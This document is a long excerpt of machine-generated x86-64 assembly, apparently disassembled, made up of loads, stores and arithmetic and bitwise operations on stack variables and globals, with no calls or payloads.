mov byte [rsp + 0x17d], al
movzx eax, byte [rsp + 0x118]
movzx ecx, byte [rsp + 0x93]
sub eax, ecx
mov byte [rsp + 0xe3], al
lea rax, [rsp + 0x11c8]
mov qword [rsp + 0xb128], rax
movsx eax, word [rsp + 0x119c]
mov rcx, qword [0x1401e89b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10b8], ax
lea rax, [rsp + 0x97e8]
mov qword [rsp + 0xb130], rax
mov rax, qword [rsp + 0xa200]
mov rcx, qword [rsp + 0x9af8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa2e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9120]
mov rcx, qword [rsp + 0x9128]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb0b8], rax
mov rax, qword [rsp + 0x9498]
mov eax, dword [rax]
mov dword [rsp + 0x5200], eax
movsx eax, byte [rsp + 0xc7]
movsx ecx, byte [rsp + 0x12b]
add eax, ecx
mov byte [0x1401e705a], al
mov rax, qword [rsp + 0x9a20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x90a8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa668]
mov byte [rcx], al
mov rax, qword [rsp + 0xaa30]
movzx eax, byte [rax]
mov byte [rsp + 0x17e], al
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11fc]
sub eax, ecx
mov word [rsp + 0x12a4], ax
movzx eax, word [0x1401e7044]
movzx ecx, word [rsp + 0x13c8]
add eax, ecx
mov rcx, qword [rsp + 0x8ea8]
mov word [rcx], ax
lea rax, [rsp + 0x5104]
mov qword [rsp + 0xb138], rax
mov rax, qword [rsp + 0x90b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9f38]
mov qword [rsp + 0xb140], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb140]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9e70]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e28]
mov dword [rsp + 0x5204], eax
mov rax, qword [rsp + 0x8d80]
mov rcx, qword [rsp + 0xa3b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x96d8], rax
lea rax, [rsp + 0xdd]
mov qword [0x1401e8c40], rax
mov rax, qword [0x1401e8bc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb0f0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x17e], al
lea rax, [rsp + 0x1124]
mov qword [rsp + 0xb148], rax
movzx eax, word [rsp + 0x1118]
movzx ecx, word [rsp + 0x1024]
or eax, ecx
mov word [rsp + 0x1184], ax
movzx eax, byte [0x1401e703e]
mov byte [rsp + 0x17f], al
mov rax, qword [rsp + 0x9c18]
mov rcx, qword [rsp + 0x9a90]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9118]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad60]
mov rcx, qword [rsp + 0x98b0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa8d8]
mov qword [rcx], rax
mov rax, qword [0x1401e7018]
mov qword [rsp + 0xb150], rax
mov rax, qword [rsp + 0xa0d0]
mov rcx, qword [rsp + 0xaee0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ebc], eax
movzx eax, byte [rsp + 0x89]
movzx ecx, byte [rsp + 0x173]
add eax, ecx
mov rcx, qword [0x1401e8bc8]
mov byte [rcx], al
movzx eax, word [0x1401e70a0]
mov word [rsp + 0x1414], ax
mov rax, qword [rsp + 0x9248]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14c]
sub eax, ecx
mov byte [rsp + 0xf2], al
lea rax, [rsp + 0xa2]
mov qword [rsp + 0xb158], rax
movzx eax, word [rsp + 0x1288]
movzx ecx, word [rsp + 0x10f8]
sub eax, ecx
mov rcx, qword [rsp + 0xa678]
mov word [rcx], ax
mov rax, qword [rsp + 0xa550]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c28]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9258]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa3c0]
mov rax, qword [rax]
mov qword [rsp + 0xb160], rax
mov rax, qword [rsp + 0xaf18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f04]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9810]
mov dword [rcx], eax
lea rax, [rsp + 0x5174]
mov qword [rsp + 0xb168], rax
movzx eax, word [rsp + 0x1370]
mov rcx, qword [rsp + 0xa958]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e89f8], ax
mov rax, qword [rsp + 0x97b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12f4]
sub eax, ecx
mov rcx, qword [rsp + 0x9aa0]
mov word [rcx], ax
mov rax, qword [rsp + 0xaa30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x93f0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9d28]
mov byte [rcx], al
mov rax, qword [rsp + 0x9208]
movzx eax, word [rax]
mov word [rsp + 0x1418], ax
movsx eax, word [0x1401e8c34]
movsx ecx, word [rsp + 0x1128]
sar eax, cl
mov word [rsp + 0x1070], ax
mov eax, dword [rsp + 0x4ee0]
mov dword [rsp + 0x5208], eax
mov rax, qword [rsp + 0x9748]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9fa0]
shl rax, cl
mov rcx, qword [rsp + 0x94c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa9d0]
mov eax, dword [rax]
cdq
mov rcx, qword [rsp + 0xa9e8]
idiv dword [rcx]
mov dword [rsp + 0x4e1c], eax
lea rax, [rsp + 0xa488]
mov qword [rsp + 0xb170], rax
lea rax, [rsp + 0x1174]
mov qword [0x1401e8c48], rax
mov rax, qword [rsp + 0xa2f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ae8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1234], ax
lea rax, [rsp + 0x14e]
mov qword [rsp + 0xb178], rax
movsx eax, byte [rsp + 0x12d]
movsx ecx, byte [rsp + 0x12e]
and eax, ecx
mov rcx, qword [rsp + 0xa1f0]
mov byte [rcx], al
movzx eax, byte [0x1401e888c]
movzx ecx, byte [rsp + 0xde]
sub eax, ecx
mov byte [rsp + 0x109], al
mov rax, qword [rsp + 0xaac8]
mov rax, qword [rax]
mov qword [rsp + 0xb180], rax
mov eax, dword [rsp + 0x503c]
mov ecx, dword [rsp + 0x50dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x507c], eax
lea rax, [0x1401e7008]
mov qword [rsp + 0xb188], rax
mov rax, qword [rsp + 0x8d50]
mov rcx, qword [rsp + 0x9be0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8e78]
mov qword [rcx], rax
lea rax, [rsp + 0x1338]
mov qword [rsp + 0xb190], rax
movzx eax, byte [rsp + 0x71]
movzx ecx, byte [0x1401e7072]
sub eax, ecx
mov byte [str._DM_b], al
movsx eax, byte [rsp + 0x13f]
movsx ecx, byte [rsp + 0x116]
add eax, ecx
mov byte [rsp + 0xba], al
mov rax, qword [rsp + 0x8d90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa640]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x11b8], ax
movzx eax, word [rsp + 0x11b8]
mov word [rsp + 0x141c], ax
mov rax, qword [rsp + 0x9878]
mov rcx, qword [rsp + 0xb0e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x514c], eax
lea rax, [rsp + 0x91d8]
mov qword [rsp + 0xb198], rax
mov rax, qword [rsp + 0x9b48]
mov rcx, qword [rsp + 0x9a08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e50], rax
mov rax, qword [rsp + 0xaec0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x50a8]
shr eax, cl
mov dword [rsp + 0x50e0], eax
lea rax, [rsp + 0x16f]
mov qword [rsp + 0xb1a0], rax
lea rax, [rsp + 0x10d8]
mov qword [0x1401e8c50], rax
movsx eax, byte [rsp + 0xfb]
movsx ecx, byte [rsp + 0xaf]
xor eax, ecx
mov rcx, qword [rsp + 0x9550]
mov byte [rcx], al
lea rax, [rsp + 0x1290]
mov qword [rsp + 0xb1a8], rax
movsx eax, byte [rsp + 0x10f]
mov rcx, qword [rsp + 0xad40]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xaf], al
mov rax, qword [rsp + 0x9728]
mov rcx, qword [rsp + 0x9f98]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9a08], rax
lea rax, [rsp + 0x9198]
mov qword [rsp + 0xb1b0], rax
mov eax, dword [rsp + 0x5204]
mov ecx, dword [0x1401e7004]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x51dc], eax
mov eax, dword [rsp + 0x4f0c]
mov dword [rsp + 0x520c], eax
mov rax, qword [rsp + 0xa708]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9a98]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9a80]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ec8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10d0]
add eax, ecx
mov rcx, qword [0x1401e8c20]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f50]
movzx eax, word [rax]
mov word [rsp + 0x1420], ax
movsx eax, byte [rsp + 0x15d]
mov rcx, qword [rsp + 0xab30]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x133], al
mov rax, qword [rsp + 0xa960]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa0f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x14b], al
mov rax, qword [rsp + 0x9778]
mov eax, dword [rax]
mov dword [rsp + 0x5210], eax
mov rax, qword [rsp + 0x9838]
mov ecx, dword [rsp + 0x4eec]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e88], eax
mov rax, qword [rsp + 0xad80]
mov rax, qword [rax]
mov qword [rsp + 0xb1b8], rax
mov rax, qword [rsp + 0x9be0]
mov rcx, qword [rsp + 0x98b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa900], rax
mov rax, qword [rsp + 0xa568]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e7086]
sub eax, ecx
mov byte [rsp + 0x14a], al
mov rax, qword [rsp + 0x8ec8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x115c]
sub eax, ecx
mov word [0x1401e710c], ax
movzx eax, byte [rsp + 0x107]
mov byte [rsp + 0x180], al
mov rax, qword [rsp + 0xa1b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11b0]
and eax, ecx
mov word [rsp + 0x1000], ax
movzx eax, byte [rsp + 0x15a]
mov byte [rsp + 0x181], al
movsx eax, byte [rsp + 0x132]
mov rcx, qword [rsp + 0x9c30]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa9f0]
mov byte [rcx], al
mov eax, dword [0x1401e7004]
mov ecx, dword [rsp + 0x5100]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e5c], eax
mov eax, dword [rsp + 0x4ee8]
mov dword [rsp + 0x5214], eax
mov rax, qword [rsp + 0x93f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9630]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa08], rax
mov rax, qword [rsp + 0x8e78]
mov rax, qword [rax]
mov qword [rsp + 0xb1c0], rax
movsx eax, word [0x1401e70f4]
mov rcx, qword [rsp + 0x9cf8]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401e89a8], ax
mov rax, qword [rsp + 0xac68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x129]
add eax, ecx
mov byte [rsp + 0xe1], al
movzx eax, word [rsp + 0x1294]
mov rcx, qword [0x1401e8958]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x11ac], ax
mov rax, qword [rsp + 0x92c0]
movzx eax, byte [rax]
mov byte [rsp + 0x182], al
movzx eax, byte [rsp + 0x124]
movzx ecx, byte [rsp + 0x84]
and eax, ecx
mov rcx, qword [rsp + 0x8ef0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d50]
mov eax, dword [rax]
mov dword [rsp + 0x5218], eax
mov rax, qword [rsp + 0x96a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x516c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa200]
mov dword [rcx], eax
lea rax, [rsp + 0xac38]
mov qword [rsp + 0xb1c8], rax
mov rax, qword [rsp + 0x9ad8]
mov rcx, qword [rsp + 0x8c90]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8d18]
mov qword [rcx], rax
lea rax, [rsp + 0x1090]
mov qword [0x1401e8c58], rax
movzx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0x9a20]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x109], al
movzx eax, word [rsp + 0x11b8]
mov word [rsp + 0x1424], ax
mov rax, qword [0x1401e88f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1220]
sub eax, ecx
mov rcx, qword [rsp + 0xa6c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x8c]
mov byte [rsp + 0x183], al
mov rax, qword [rsp + 0x8e68]
mov rcx, qword [rsp + 0xa388]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x94b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa968]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf38]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa5b8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e28]
mov dword [rsp + 0x521c], eax
mov rax, qword [rsp + 0xb0a8]
mov rcx, qword [rsp + 0xb0e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5060], eax
movzx eax, byte [rsp + 0x89]
mov rcx, qword [rsp + 0x95c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8988]
mov byte [rcx], al
lea rax, [rsp + 0x10dc]
mov qword [rsp + 0xb1d0], rax
mov rax, qword [rsp + 0x90a0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e704f]
shl eax, cl
mov rcx, qword [rsp + 0x8f10]
mov byte [rcx], al
mov rax, qword [rsp + 0xad28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa398]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8f00]
mov word [rcx], ax
lea rax, [rsp + 0x1384]
mov qword [rsp + 0xb1d8], rax
mov rax, qword [rsp + 0xab90]
mov rcx, qword [rsp + 0xa3c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4e88], eax
mov rax, qword [rsp + 0x9080]
mov rax, qword [rax]
mov qword [rsp + 0xb1e0], rax
mov rax, qword [rsp + 0xaeb8]
movzx ecx, al
mov rax, qword [rsp + 0xae60]
shr rax, cl
mov qword [rsp + 0x8fd0], rax
mov rax, qword [rsp + 0x9028]
mov eax, dword [rax]
mov dword [rsp + 0x5220], eax
lea rax, [rsp + 0x12d0]
mov qword [0x1401e8c60], rax
movsx eax, word [rsp + 0x1164]
movsx ecx, word [rsp + 0x1144]
and eax, ecx
mov rcx, qword [rsp + 0x9b38]
mov word [rcx], ax
movsx eax, byte [rsp + 0x99]
movsx ecx, byte [0x1401e703e]
add eax, ecx
mov byte [rsp + 0x8c], al
movzx eax, byte [rsp + 0x7e]
mov byte [rsp + 0x184], al
movsx eax, byte [rsp + 0x144]
movsx ecx, byte [rsp + 0xa7]
sub eax, ecx
mov byte [rsp + 0xd8], al
mov eax, dword [rsp + 0x51c8]
mov dword [rsp + 0x5224], eax
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0x9200]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9e28], rax
mov eax, dword [rsp + 0x51a8]
mov ecx, dword [rsp + 0x4d50]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9620]
mov dword [rcx], eax
lea rax, [rsp + 0xae68]
mov qword [rsp + 0xb1e8], rax
mov rax, qword [rsp + 0xa0a0]
movzx eax, byte [rax]
mov byte [0x1401e888d], al
mov rax, qword [rsp + 0xae50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x136c]
add eax, ecx
mov word [rsp + 0x12c8], ax
lea rax, [rsp + 0x1248]
mov qword [rsp + 0xb1f0], rax
mov rax, qword [rsp + 0x8e00]
movsx eax, byte [rax]
mov rcx, qword [0x1401e8a70]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa258]
mov byte [rcx], al
movzx eax, word [rsp + 0x124c]
mov rcx, qword [rsp + 0x9038]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xacd0]
mov word [rcx], ax
lea rax, [rsp + 0x8ad0]
mov qword [rsp + 0xb1f8], rax
mov eax, dword [rsp + 0x4e9c]
mov ecx, dword [0x1401e7004]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa838]
mov dword [rcx], eax
lea rax, [rsp + 0x50bc]
mov qword [rsp + 0xb200], rax
mov rax, qword [rsp + 0xa1e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa3f0]
sar rax, cl
mov rcx, qword [rsp + 0xad58]
mov qword [rcx], rax
movzx eax, word [0x1401e70b4]
mov rcx, qword [rsp + 0x9e80]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e7074], ax
mov rax, qword [rsp + 0x9a58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x131c]
or eax, ecx
mov word [rsp + 0x12b0], ax
mov rax, qword [rsp + 0xad38]
movzx eax, byte [rax]
mov byte [rsp + 0x185], al
movsx eax, byte [rsp + 0x169]
mov rcx, qword [rsp + 0x9500]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x12b], al
movzx eax, byte [rsp + 0xc1]
mov byte [rsp + 0x186], al
mov rax, qword [rsp + 0xaf00]
mov ecx, dword [rsp + 0x51f8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x50ec], eax
mov rax, qword [rsp + 0x9400]
mov qword [rsp + 0xb208], rax
mov rax, qword [rsp + 0xa4e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ff4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fe0], eax
mov rax, qword [rsp + 0xa7f8]
mov rcx, qword [rsp + 0x8f70]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa030]
mov qword [rcx], rax
mov rax, qword [rsp + 0xab08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1068]
add eax, ecx
mov rcx, qword [0x1401e87d0]
mov word [rcx], ax
mov rax, qword [rsp + 0xab58]
movzx eax, byte [rax]
mov byte [rsp + 0x187], al
mov rax, qword [rsp + 0x9908]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e706f]
sub eax, ecx
mov byte [rsp + 0x14b], al
mov rax, qword [rsp + 0xa268]
movzx eax, word [rax]
mov word [rsp + 0x1428], ax
mov rax, qword [rsp + 0xa290]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9aa0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1248], ax
mov rax, qword [rsp + 0x8f30]
mov rcx, qword [rsp + 0xa3e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x95b0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e64]
mov dword [rsp + 0x5228], eax
mov rax, qword [rsp + 0xae38]
mov ecx, dword [rsp + 0x4f90]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xab98]
mov dword [rcx], eax
lea rax, [rsp + 0xabf0]
mov qword [rsp + 0xb210], rax
movzx eax, word [0x1401e70a8]
movzx ecx, word [rsp + 0x1004]
add eax, ecx
mov word [rsp + 0x102c], ax
lea rax, [rsp + 0xf8]
mov qword [0x1401e8c68], rax
movsx eax, word [rsp + 0x1108]
mov rcx, qword [rsp + 0xa2f8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1168], ax
lea rax, [0x1401e7057]
mov qword [rsp + 0xb218], rax
movsx eax, word [rsp + 0x1178]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x92e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9438]
mov qword [rsp + 0xb220], rax
mov eax, dword [rsp + 0x5118]
mov ecx, dword [rsp + 0x4f88]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa088]
mov dword [rcx], eax
mov eax, dword [rsp + 0x51e8]
movzx ecx, al
mov eax, dword [rsp + 0x4f2c]
shl eax, cl
mov dword [rsp + 0x51cc], eax
lea rax, [rsp + 0xaea8]
mov qword [rsp + 0xb228], rax
mov rax, qword [rsp + 0x8ef0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11f]
sar eax, cl
mov rcx, qword [rsp + 0xa0f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xaf48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x140c]
and eax, ecx
mov word [0x1401e7110], ax
lea rax, [rsp + 0xcb]
mov qword [rsp + 0xb230], rax
movzx eax, word [rsp + 0x13cc]
movzx ecx, word [rsp + 0x1298]
sub eax, ecx
mov word [rsp + 0x1384], ax
mov rax, qword [rsp + 0xa150]
movzx eax, byte [rax]
mov byte [rsp + 0x188], al
mov rax, qword [rsp + 0x9408]
mov rcx, qword [rsp + 0xaf00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5120], eax
mov rax, qword [rsp + 0xa920]
mov rcx, qword [rsp + 0x9cf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f30], eax
lea rax, [rsp + 0x9da0]
mov qword [rsp + 0xb238], rax
mov rax, qword [rsp + 0xa4d0]
mov rcx, qword [rsp + 0x8c90]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9488]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x17d]
mov byte [rsp + 0x189], al
mov rax, qword [rsp + 0x9460]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x165]
add eax, ecx
mov rcx, qword [0x1401e88c8]
mov byte [rcx], al
movsx eax, word [rsp + 0xffc]
movsx ecx, word [0x1401e707c]
and eax, ecx
mov word [rsp + 0x1168], ax
movzx eax, word [rsp + 0x1010]
movzx ecx, word [rsp + 0x1038]
sub eax, ecx
mov rcx, qword [rsp + 0xb128]
mov word [rcx], ax
movzx eax, byte [rsp + 0x8d]
mov byte [rsp + 0x18a], al
mov eax, dword [rsp + 0x516c]
mov ecx, dword [rsp + 0x4f90]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9a30]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa748]
mov qword [rsp + 0xb240], rax
mov rax, qword [rsp + 0xa380]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9400], rax
mov eax, dword [0x1401e7004]
movzx ecx, al
mov eax, dword [rsp + 0x51bc]
shl eax, cl
mov rcx, qword [rsp + 0x93a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb118]
movzx eax, word [rax]
mov word [rsp + 0x142c], ax
lea rax, [rsp + 0x13fc]
mov qword [0x1401e8c70], rax
mov rax, qword [rsp + 0xb1a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x160]
sar eax, cl
mov byte [rsp + 0x10c], al
movzx eax, byte [rsp + 0x10a]
mov byte [rsp + 0x18b], al
movsx eax, word [rsp + 0x1218]
movsx ecx, word [rsp + 0x1354]
or eax, ecx
mov rcx, qword [rsp + 0x92b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x98a8]
movzx eax, word [rax]
mov word [rsp + 0x1430], ax
mov rax, qword [rsp + 0xb210]
mov rcx, qword [rsp + 0x9c80]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xac20], rax
mov rax, qword [rsp + 0x9168]
mov rcx, qword [rsp + 0x9b10]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa420], rax
lea rax, [rsp + 0x4ebc]
mov qword [rsp + 0xb248], rax
mov rax, qword [rsp + 0x9140]
mov eax, dword [rax]
mov ecx, dword [0x1401e7004]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaa68]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x103]
mov rcx, qword [rsp + 0x95b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e7073], al
mov rax, qword [rsp + 0x99d8]
movzx eax, word [rax]
mov word [rsp + 0x1434], ax
movsx eax, byte [rsp + 0x16d]
movsx ecx, byte [rsp + 0x126]
add eax, ecx
mov rcx, qword [rsp + 0x9e58]
mov byte [rcx], al
movsx eax, byte [rsp + 0x91]
movsx ecx, byte [rsp + 0x8b]
sub eax, ecx
mov byte [rsp + 0x143], al
lea rax, [rsp + 0x13e0]
mov qword [rsp + 0xb250], rax
mov rax, qword [rsp + 0xad98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5038]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa200]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa6b8]
mov rax, qword [rax]
mov qword [rsp + 0xb258], rax
mov rax, qword [rsp + 0x93a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f74], eax
mov rax, qword [rsp + 0x8df8]
mov rcx, qword [rsp + 0xaf08]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xabf0], rax
lea rax, [rsp + 0x10c0]
mov qword [0x1401e8c78], rax
mov rax, qword [rsp + 0xa6e0]
movzx eax, byte [rax]
mov byte [rsp + 0x18c], al
mov rax, qword [rsp + 0x9278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1088]
add eax, ecx
mov word [rsp + 0x1008], ax
lea rax, [rsp + 0x1204]
mov qword [rsp + 0xb260], rax
mov rax, qword [rsp + 0x9868]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9b]
shl eax, cl
mov byte [rsp + 0xa4], al
mov rax, qword [rsp + 0xa6d0]
movzx ecx, al
mov rax, qword [0x1401e7028]
sar rax, cl
mov rcx, qword [rsp + 0xa500]
mov qword [rcx], rax
lea rax, [rsp + 0xaeb8]
mov qword [rsp + 0xb268], rax
mov eax, dword [rsp + 0x4f94]
mov ecx, dword [rsp + 0x50d8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa7f0]
mov dword [rcx], eax
lea rax, [rsp + 0x5094]
mov qword [rsp + 0xb270], rax
movzx eax, byte [rsp + 0x176]
movzx ecx, byte [rsp + 0xf1]
or eax, ecx
mov rcx, qword [0x1401e89f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9eb0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa720]
mov word [rcx], ax
movzx eax, word [rsp + 0x12e4]
mov word [rsp + 0x1438], ax
mov rax, qword [rsp + 0xa0c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x98]
and eax, ecx
mov byte [rsp + 0xb0], al
mov rax, qword [rsp + 0xac00]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8b98]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa4c8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa260]
mov qword [rsp + 0xb278], rax
mov rax, qword [rsp + 0xa390]
mov rcx, qword [rsp + 0x8e10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5074], eax
mov rax, qword [rsp + 0xaa90]
mov eax, dword [rax]
mov dword [rsp + 0x522c], eax
mov rax, qword [rsp + 0xadc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xafd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1b8], rax
lea rax, [rsp + 0x160]
mov qword [0x1401e8c80], rax
movzx eax, word [rsp + 0x1430]
mov rcx, qword [rsp + 0x9870]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11a0], ax
movzx eax, word [rsp + 0x13a8]
mov word [rsp + 0x143c], ax
movsx eax, byte [rsp + 0xc3]
mov rcx, qword [rsp + 0x9fd0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xed], al
lea rax, [rsp + 0x105c]
mov qword [rsp + 0xb280], rax
mov eax, dword [rsp + 0x4fa4]
mov ecx, dword [rsp + 0x5174]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5118], eax
mov rax, qword [rsp + 0xabb0]
mov rcx, qword [rsp + 0x9790]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9400], rax
